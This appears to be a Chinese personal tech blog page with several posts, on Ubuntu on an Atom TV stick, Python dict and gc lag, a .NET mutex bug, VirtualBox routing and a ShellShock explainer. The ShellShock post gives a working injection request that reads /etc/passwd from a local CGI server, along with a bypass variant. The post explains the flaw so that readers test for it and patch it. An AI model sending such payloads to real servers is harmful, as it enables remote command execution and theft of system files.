Aug 18

T02安装Ubuntu 不指定

felix021 , 12:42 , IT » 操作系统 , 评论(0) , 引用(0) , 阅读(125) , Via 本站原创
前一段时间在京东众筹购入了一款名为"光棍一号T02"的电视棒,Intel Atom Z3735F(1.33G*4) + 2GB + 32GB,之所以下单,最主要是因为他们家宣称可以支持ubuntu(因为看起来好像就是intel Compute Stick的贴牌产品,而后者是可以支持ubuntu的)。可是到手了以后,问了众筹方才知道,原来安装镜像是不公开的,需要在发货前说明,他们装好再寄过来(跟Compute Stick一个尿性,据说是因为第三方的驱动问题)。没办法,只能自己动手了。

在网上有找到一篇文章:Install Ubuntu 14.04 LTS on the 2GB Intel Compute Stick,里面提供了一个64bit的ubuntu 14.04镜像以及相应的步骤,可以直接安装到2GB内存的Compute Stick上;以及对安装32位UEFI支持的一些说明和提示。

情况是这样的,Intel Compute Stick 2GB+32GB版本出厂预装的是Win8,Ubuntu版本只有1GB内存+16GB存储,所以大神们琢磨着弄一个ubuntu到windows版本上去,可是intel官方因为第三方驱动的原因不开放镜像,于是他们自己做了一个。从文章里可以知道,stick可以在UEFI里面选择启动的系统是32bit的win8还是64bit的ubuntu,也就是说可以按需向操作系统提供32/64位的uefi接口。可是手头的这个T02只有一个非常简单的32bit的uefi,所以整个过程就比较蛋疼了,下面记录一下,备忘。

1. 准备相关材料:http://pan.baidu.com/s/1qWN0jIO

包括 (a) 安装镜像 ubuntu14.04_z3735f.iso (b) 启动盘制作工具rufus-2.2p.exe (c) 支持32位efi的grub启动器 bootia32.efi (d) 安装后用的grub.tar.gz

2. 制作启动盘

使用rufus把iso写入到一个U盘里。把wubi.exe删掉,然后把 bootia32.efi 放到 EFI/BOOT/ 下面

3. 安装使用启动盘启动T02,可以先通过"try ubuntu"体验一下效果。

(a) 如果希望直接安装的话,建议选择"install ubuntu",比较快且不容易出错。
(b) 安装中进行分区的时候选择“使用整个磁盘”,这样会自动使用GPT分区并且创建一个EFI分区。由于本身内存空间有限,建议不要考虑双系统共存了。
(c) 安装期间建议不要插入TF卡,速度超慢。不要安装到TF卡上。

==》 安装完以后不要急着重启

4. 复制文件

(a) 把启动盘上的 bootia32.efi 拷贝到新系统的 [挂载点]/boot/efi/EFI/ubuntu 下面去。
(b) 把grub.tar.gz的内容解压到新系统的随便一个目录中(比如 /home 下面)

5. 重启,进入EFI Shell(因为新系统中没有包含配置好的32位的启动程序,会自动进入到EFI Shell中)

6. 进入grub shell:根据前面列出文章中的Troubleshooting,按顺序执行:

(a) fs0:  (注意冒号)
(b) cd EFI\ubuntu
(c) bootia32.efi  (于是就引入了一个裸的grub shell)

7. 进入initrd中的准系统:在grub shell下面执行

(a) linux (hd0,gpt2)/vmlinuz
(b) initrd (hd0,gpt2)/initrd.img
(c) boot

于是就进入了initrd中的

8. 安装支持32位efi的grub(这一步可能有点坑)

(a) chroot到rootfs
$ mkdir -p /rootfs
$ mount -o rw -t ext4 /dev/mmcblk0p2 /rootfs
$ mount -t vfat /dev/mmcblk0p1 /rootfs/boot/efi/
$ mount --bind /dev /rootfs/dev
$ cd /rootfs
$ chroot .

(b) 安装grub-ia32
这一步记得不是很清楚了,因为各种deb包有奇怪的依赖关系,总之大概是这样的:
$ cd /home
$ dpkg -i *.deb
根据报错信息按需卸载系统中存在的package(dpkg --remove xxx),然后再重新执行上一句直到安装成功。

【注意】安装成功以后、在/rootfs/efi/EFI/ubuntu下面应该有 grubia32.efi 这个启动器。

(c) 重启进入efi shell
是的,因为efi配置里面还是grubx64.efi

9. 从EFI Shell启动进入系统

> fs0:
> cd EFI\ubuntu
> grubia32.efi

一切顺利的话,这里就可以启动进入ubuntu了(真心不容易啊)。

10. 更新EFI配置(依然是参考文章的Troubleshooting)

$ sudo apt-get install efibootmgr #安装EFI配置编辑器
$ sudo efibootmgr -v #查看当前的efi配置(可以看到启动器是grubx64.efi,这个不对!)
$ sudo efibootmgr -b 0003 -B  #删除所有的EFI启动配置
$ sudo efibootmgr -b 0002 -B
$ sudo efibootmgr -b 0001 -B
$ sudo efibootmgr -b 0000 -B
$ sudo efibootmgr -c -d /dev/mmcblk0 -p 1 -l \\EFI\\ubuntu\\grubia32.efi -L ubuntu #加入新的启动配置
$ sync

大功告成!


==== 后记 ====

启动以后就可以按需安装各种package拉,运行速度还不错,wifi没问题,显卡驱动正常(可以调整分辨率),但是声音和蓝牙驱动貌似还是有问题,不过对于一个server来说都是小问题。稍微麻烦一点的是wifi的延迟不太正常,局域网每两次ping的响应,差不多都会有一次是1000ms, 一次是2ms,但是加上一个有线USB网卡以后就都一切正常(这是什么病啊。。),接下来再试用几天看看拉。

@2015-08-19
T02是Intel Atom Z3735f (BayTrail)方案(x86_64 1.33GHz*4 + 2GB ram + 32GB rom),手头有一个2012年8月份入手的mk802(居然已经3年了,依然在勤恳地工作!感谢它!),全志A10的方案(Cortex A8 1GHz*1 + 1GB ram + 4GB rom),二者都安装上了Ubuntu Desktop版,正好作个对比。

实际使用上二者性能上的差距还是蛮直观的,ssh登录的时候,T02马上就进入shell,MK要卡几秒;在桌面程序上,比如Chrome,启动速度、页面加载速度什么的,感受很明显。下面是一些简单的测试数据:

1. 最简单的,编译一个 busy.c 源码(main里面只有一行 while(1)):
T02:0.124s
MK:0.251s

2. 编译bash
以前自己打过patch的一个bash的tar.gz

2.1 解压
T02:0.598s
MK:1.552s

2.2 configure
T02:1min
MK:1min56s

2.3 make
T02:2min16s(make),45s(make -j4)
MK:5m26s

3. CPU温度/频率@T02
这个只测T02:一个720p视频播放、5个busy.c的a.out,测试是否有风扇对着吹的情况
无风扇:81°C/81°C/87°C/87°C,500MHz*4(自动降频)
有风扇:72°C/72°C/79°C/79°C,1333MHz*4(继续吹可能还会再降点温)
Jul 14

vim tips 不指定

felix021 , 11:00 , IT » 软件 , 评论(0) , 引用(0) , 阅读(186) , Via 本站原创
~ vimdiff 比对文件的时候,可以使用 "]c" 或者 "[c" 跳转到下一个/上一个不同的地方。

~ retab 将文件中的tab字符按vimrc中指定的格式转换成空格

~ 未完待续
Jul 7
今天Sandy同学在开发一个网络相关应用的时候遇到了一个奇怪的问题。

大约是这样的一个单例类Foo(以下是类python的伪代码,实际是VB.NET),当调用方法 bar('remove', key, value) 的时候,经常(而不是总是)在for循环过程中报错,错误信息是 "循环过程中_pool已经被修改" 。

class Foo(singleton):
    _pool  = {}
    _mutex = Threading.Mutex()

    def bar(self, action, key, value=None):
        self._mutex.waitOne()

        if action == 'add':
            self._pool[key] = value

        else: #'remove'
            remove_keys = []
            for key, value in self._pool.items():
                if do(key, value):
                    remove_keys.append(key)
            for key in remove_keys:
                del self._pool[key]

        self._mutex.release()

_pool 作为Foo的一个私有成员并且被 _mutex 保护着,理论上是不会出现这个问题的,然而各种排查的表现都指向了线程间的竞争问题,因为只有在调用到 bar('add', key, value) 的时候,_pool才有可能被修改到。

仔细查了一下MSDN上面Threading.Mutex的说明,在备注一栏中藏着一句话:"拥有互斥体的线程可以在对 WaitOne 的重复调用中请求相同的互斥体而不会阻止其执行。",也就是说,如果是同一个线程两次调用 bar 方法的话,这个 _mutex 就相当于失效了。

换用其他的互斥锁机制(例如Syncing)并不解决这个问题(事实上Mutex已经是第三个尝试选项了)。我们甚至试着采用Threading.Senaphore,然而却导致整个进程卡住。

于是debug.print把 Threading.Thread.CurrentThread.ManagedThreadId 输出到控制台,发现在出现错误之前是有多个不同的thread id,但是出错的时候,确实是同一个线程两次调用 bar 方法,也就是说 _mutex 确实不能解决这个问题。

经过各种排查,确认是正好在 do(key, value) 方法调用中出现的,然而 Sandy 同学信誓旦旦地保证,do(key, value) 方法绝对不可能递归地调用回到 bar 函数。由于 do(key, value) 内部调用了某个阻塞的网络请求,据此我推测,.NET的网络模型底层使用了线程+纤程的模型,那只能想办法了。通过查看 bar('add', key, value) 的调用栈,发现确实这是同一个请求,但是中间夹杂了一个未知的"外部过程",也就是说空闲的线程被调度来做其他的事情了。

深坑一个,但是既然找到了原因,就可以考虑如何针对性地去解决它,初步的想法是,Semaphore理论上应该是可以解决这个问题的,可能之前没有细看MSDN、调用方式有点问题。

Sandy同学的想法是,既然 Mutex 已经过滤掉了线程间的冲突,那我们就自己模拟 Semaphore 来解决线程内的冲突,只要简单增加一个初始值为 0 的 _counter 变量 ,在 self._mutex.waitOne() 后面加上
while self._counter != 0:
    Threading.sleep(10) #10ms
self._counter = 1

并在 self._mutex.release() 之前执行 self._counter = 0 就可以了。

想法是美好的,但是一执行就卡死在 foo('add') 调用的 while 循环里。简单分析一下就能发现,这个线程既然一直在while循环里面,就不可能被调度回到 foo('remove') 的纤程去修改 _counter=0,于是就卡住了。

没办法,再回头去仔细看MSDN,Threading.Semaphore 确实没有类似Mutex这样的同线程调用,于是把这个代码按照Example重新写了一遍,但是还是卡死了……

然后我瞬间醒悟过来——这似乎根本就是一个因为.net底层实现导致的死锁!除非上层应用能控制线程调度的细节,否则无论是信号量还是修改过的Mutex(同一个线程不能多次获得的)都不能解决这个问题。于是暂时的结论是可能要采用自己实现的线程池来进行调度,但是改动似乎很大。

完。

UPDATE @ 20150720 后来仔细考虑了下,根本问题是在do(key, value) 内部调用的那个“阻塞”请求,在临界区内本就不该调用阻塞请求。按照.net的文档,那个请求应当是非阻塞的,但是不知道为什么在这里阻塞了。由于我对.net并不了解,我没有再继续追究了。
Dec 31
手头项目中有一个模块,一般情况下需要用python将数十万条数据加载到一个dict中处理,其中每条数据是一个小的dict,整体速度稍微有点慢(毕竟python不适合处理大量琐碎的小对象),由于在性能要求范围内,所以也没怎么在意。

但是在最近的性能测试中用160w+数据来压的时候,发现性能恶化得厉害。虽然算法是线性的,但是实际运行时间却明显不对劲。增加一些log后,发现在处理过程中,每隔几万条数据就会出现一个很明显的lag,而且lag的时间越拉越长。

由于不像是算法本身的问题,初步猜测可能是python中dict的rehash带来的时间开销。但是根据一般哈希表的实现方法,lag出现得太平均,又不是很符合逻辑。

大胆假设,小心求证,翻了一下python源码,Objects/dictobject.c 中 "static int dictresize(PyDictObject *mp, Py_ssize_t minused)" 函数被多处调用,其中PyDict_SetItem的末尾的调用是:"dictresize(mp, (mp->ma_used > 50000 ? 2 : 4) * mp->ma_used)",也就是说,在需要rehash的情况下,按4倍(少于50000个item)或2倍的规模扩大。

用下面这段代码测试1600w数据,将输出数据拷贝到Excel并生成图表,可以很明显地看出lag的出现规律与上述扩张规则非常相符。
begin = time.time()
i = 0
d = {}
while True:
    i += 1
    if i % 50000 == 0:
        print '%d\t%.4f' % (i, time.time() - begin)
    d[i] = i


{图一}
点击在新窗口中浏览此图片

将上述代码稍作修改,每次插入的value是个dict,测试100w数据,生成图表,每隔10w左右产生一个lag,且lag时间越拉越长,与遇到的问题现象一致。
from copy import deepcopy
data = {'abcdefg': 1234, 'hijklnm': 4.0, 'opqrst': 'uvwxyz'}
begin = time.time()
i = 0
d = {}
while True:
    i += 1
    if i % 50000 == 0:
        print '%d\t%.4f' % (i, time.time() - begin)
    d[i] = deepcopy(data)


{图二}
点击在新窗口中浏览此图片

因此大体可以判断问题出在大量零碎小对象上,很自然地,就联想到会不会是gc在捣蛋。查了一下,虽然Python对象内部是引用计数的管理方式,但是为了避免循环引用导致的内存泄漏,解释器还是内置了一个gc,当现有对象数量超过某个阈值以后扫描一下,看看是否可以回收一些空间。由于我们的代码中并不存在循环引用的对象,这种gc其实是没有意义的,于是把gc关掉再测:
from copy import deepcopy
import gc
gc.disable()
data = {'abcdefg': 1234, 'hijklnm': 4.0, 'opqrst': 'uvwxyz'}
begin = time.time()
i = 0
d = {}
while True:
    i += 1
    if i % 50000 == 0:
        print '%d\t%.4f' % (i, time.time() - begin)
    d[i] = deepcopy(data)


{图三}
点击在新窗口中浏览此图片

一条直线。
Nov 30
最近项目上有需要,大概就是有一个list里的东西需要处理,例如一堆文件什么的,于是有一个file_processor——按顺序处理一个文件列表。简单封装了一下multiprocessing这个库,发现用起来很方便,很轻松地就实现了多进程并行处理(进程间无交互):

import multiprocess

slices = multiprocess.split_list(filelist, 8) #分成8份
processes = map(lambda slice: multiprocess.spawn(file_processor, slice), slices)
sys.exit(multiprocess.start_and_join(processes))


multiprocess.py 则是这样的:
#!/usr/bin/python
#coding: utf-8

import sys
from multiprocessing import Process

def split_list(data, n_slice, hash_func=lambda i, d: i): #default: sequential
    slices = []
    for i in range(n_slice):
        slices.append([])

    for i, d in enumerate(data):
        slices[hash_func(i, d) % n_slice].append(d)

    return slices

def spawn(target, *args, **kwargs):
    return Process(target=target, args=args, kwargs=kwargs)

def start_and_join(processes, killall_if_fail=True):
    for p in processes:
        p.start()

    exitcode = 0
    for p in processes:
        p.join()
        if p.exitcode != 0:
            exitcode = p.exitcode
            break

    if exitcode != 0:
        for p in processes:
            if killall_if_fail and p.is_alive():
                p.terminate()

    return exitcode
Oct 14
我大约从2010年起,就一直在自己的机器上使用 Windows宿主机+Ubuntu Server@VBox虚拟机 这种组合,一方面不用抛弃windows上早已熟悉的众多GUI软件,另一方面又可以享受到Linux带来的便利,在上面做开发等等。

虽然仅仅用一个NAT就可以解决网络的问题,但是如果每次新增一个服务就要添加一个端口映射也很麻烦,所以我开了双网卡,另一个使用Host-Only,这样主机和虚拟机之间可以直接互访。

虽然有人说用Bridged Network也能解决这个问题,但是前述方法却有更多好处:首先因为是外网无法直接访问这台机器,所以可以使用弱密码;其次虚拟机里使用NAT通过宿主机访问外部网络,因此像我现在主机上的双网卡的目标网络也可以免配置直接访问。

不过昨天遇到了个问题(貌似以前也曾经遇到过),就是突然不能访问外网了(但是仍然能ping通192.168.56.1,即宿主机的Host-Only IP),经过测试发现如果把Host-Only的网卡去掉就没问题,所以看起来像是这两个网络冲突了。

经过放狗搜索,SuperUser上的一个问题提醒我,这个其实是路由表的问题,由于没有指定默认网关,因此不知道为什么Ubuntu(WinXP也会)就把Host-Only的gateway当成默认网关了。

解决问题很简单,先删掉错误的默认网关,再添加新的默认网关:

    $ sudo route del default
    $ sudo route add default gw 10.0.2.2

不过这个重启以后就会消失,需要保持的话,就在 /etc/network/interfaces 添加一行

    up route add default gw 10.0.2.2
Oct 9

"挪窝"的N次方 不指定

felix021 , 13:48 , 杂碎 , 评论(4) , 引用(0) , 阅读(1915) , Via 本站原创
博客又搬家了,主要是因为mk802用了两年,好像有点老了,让人有点不太放心,所以还是决定花点钱买点省心。

这次终于还是搬到了DigitalOcean,5$/month,512M RAM + 20G SSD,性价比很高,而且可以选择Singapore的机房,ping值也很让我满意,SSH上去几乎感觉不到什么延迟,各种倒腾以后算是安定下来了,就这样吧。

如果你也想用DigitalOcean,可以用我的Referrer链接来注册:https://www.digitalocean.com/?refcode=1a51e0fbce00 ,这样在你支付25$你的帐号里就会打入10$,我的帐号上也会收到25$,这个项目还是挺给力的。

p.s. 如下面@whusnoopy同学所述,Github的Student Pack有100$的Digital Ocrean Promo Code,只要有edu邮箱就可以注册,快来薅(hāo)羊毛吧。
Sep 27
#update@09.28 注意,根据CoolShell这篇文章指出,官方的patch25并没有真正解决问题,仍然可以使用这种方式来实现注入(具体解释详见那篇文章): $ env X='() { (a)=>\' bash -c "echo date"; ,经过测试,Ubuntu官方更新的Bash不受影响,但是自己patch的bash还是不能解决这个问题。

大概大家都知道了,最近bash爆出来了个大漏洞,名号ShellShock,影响范围是bash 1.14 ~ 4.3(最新版),基本上你能想到的Linux/Unix机器都中招了,包括果粉们的macbook。

当然有些人还是心怀侥幸,那么就执行下面这个命令试试看:

    $ env x="() { :;}; echo vulnerable" bash -c "echo this is a test"

如果输出是:
引用
vulnerable
this is a test
恭喜你中奖了,bash将环境变量的定义直接执行了,说明被注入了。

而打过补丁的系统里,输出应当是:
引用
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test


解决方法其实很简单,大多数发行版都迅速针对这个问题推出了安全更新,比如常用的ubuntu,只需要在 sudo apt-get update 以后运行 sudo apt-get install bash 就可以了。redhat什么的也类似,网上搜一下就能找到相应说明。

而对于raspberry pi或者是mk802这种就比较蛋疼,ports.ubuntu.com 还没有及时更新,因此只能手动打补丁了:
【UPDATE】patch-25并没有完全解决问题,可以在另一个ubuntu下apt-get source bash来获取完全免疫版本的源码
#!/bin/bash

mkdir bash-patched
cd bash-patched
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f "%03g" 0 25); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done #截止到2014/9/27最新的patch编号是25
#build and install
./configure --prefix=/
make && make install


打完补丁心里放心了,就可以来安心看看shellshock是怎样影响到你的系统的。

一个最简单的例子是CGI(Common Gateway Interface),最早的动态页面都是通过CGI实现的:http server除了给出一些CGI中规定的环境变量之外,还有解析HTTP Header中的字段,加上前缀HTTP_也设置为环境变量;准备好env以后,才去调用对应的CGI程序,CGI程序通过解析变量的值来获取用户的输入,并给出相应的返回。

比如说Ubuntu上的apache,默认是开启了mod_cgi,并且cgi目录是 /usr/lib/cgi-bin ,我们可以在下面放一个最简单的cgi脚本,名叫 test (并chmod +x),其内容是

#!/bin/bash

echo    #输出一个空行,用来分隔httpserver的HTTP Header和下面的HTTP Entity
echo "Hi"

访问 http://127.0.0.1/cgi-bin/test ,你就可以看到一个页面,内容是Hi。你可以在CGI程序的末尾追加一个env命令,用来查看环境变量,可以看到诸如REQUEST_URI、REMOTE_PORT之类Server自动填充的内容,也可以看到HTTP_USER_AGENT之类浏览器添加的内容。

注意,浏览器可以影响到(这个cgi脚本及其子进程的)环境变量——这就是突破点了,因此可以很容易地构造一个攻击请求,让服务器执行指定的命令,例如:
引用
$ nc 127.0.0.1 80
GET / HTTP/1.1
Host: 127.0.0.1
X: () { :;}; echo ""; cat /etc/passwd

服务器返回的内容就变成了:
引用

HTTP/1.1 200 OK
Date: Fri, 26 Sep 2014 16:52:21 GMT
Server: Apache/2.2.22 (Ubuntu)
Transfer-Encoding: chunked

455
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
username:x:1000:1000:username,,,:/home/username:/bin/bash


经过我的测试,php-fpm和apache的mod_php方式都不不受shellshock的影响,但是不要认为你没有跑上面这种CGI程序就放心了,例如常见的基于CGI的perl和php(据说fastcgi没问题,但我没测试),有时会通过system之类的函数调用shell命令,这也会导致bash被调用,而且据说openssh和dns client也有类似的问题(具体情形我没有了解),所以就不要侥幸了,尽快升级你的bash吧!

p.s. 说一句马后炮的话,这个BUG实际上非常简单(以至于我这么容易就弄懂了),bash遍历环境变量的时候会(用yacc生成的解释器)检查它的值,如果它看起来像是一个函数的定义(就像 x="() { echo hello!; }" 这样),那么bash会eval这段代码,然而如前面的例子所示,虽然它看起来像是一个函数定义,但是它实际上可以是用分号分隔的多个语句,依然满足bash的语法……看了一下bash43-025这个patch,修改了几十行,主要就是增加了 SEVAL_FUNCDEF 和 SEVAL_ONECMD 两个类型以及相应的用于进一步区分环境变量的检测代码,从而避免了上述情况。
分页: 1/91 第一页 1 2 3 4 5 6 7 8 9 10 下页 最后页 [ 显示模式: 摘要 | 列表 ]